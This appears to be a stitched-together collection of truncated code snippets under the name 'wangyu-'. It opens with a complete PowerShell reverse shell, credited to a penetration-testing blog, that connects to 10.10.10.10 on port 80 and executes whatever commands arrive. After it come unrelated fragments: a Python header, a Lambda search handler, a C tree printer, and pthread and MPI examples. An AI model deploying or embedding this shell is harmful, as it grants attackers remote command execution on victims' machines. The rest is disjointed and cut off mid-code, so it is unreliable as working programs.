wangyu-

# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html

$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

wangyu-

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Mon Oct  5 07:13:29 2020

@author: wangyu
"""

import random
import gzip

wangyu-

exports.handler = (event) => {

    var host="111";
    var path="/wy2@1.com/_search"
    
    /*var query={
    "query": {
        "match": {
            "text": {      
                "query":    "you get",

wangyu-

//from https://stackoverflow.com/questions/801740/c-how-to-draw-a-binary-tree-to-the-console

int _print_t(tnode *tree, int is_left, int offset, int depth, char s[20][255])
{
    char b[20];
    int width = 5;

    if (!tree) return 0;

    sprintf(b, "(%03d)", tree->val);

wangyu-

#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <omp.h>
#include <sys/time.h>


#define N 1000

int A[N][N];

wangyu-

#include <stdio.h>
#include <string.h>
#include "mpi.h"

int main(int argc, char* argv[]){
	int  my_rank; /* rank of process */
	int  p;       /* number of processes */
	int source;   /* rank of sender */
	int dest;     /* rank of receiver */
	int tag=0;    /* tag for messages */

wangyu-

/**********************************************************************                                                                                      
 * MPI-based matrix multiplication AxB=C                                                                                                                     
 *********************************************************************/


#include <stdio.h>
#include "mpi.h"
#define N               4        /* number of rows and columns in matrix */

MPI_Status status;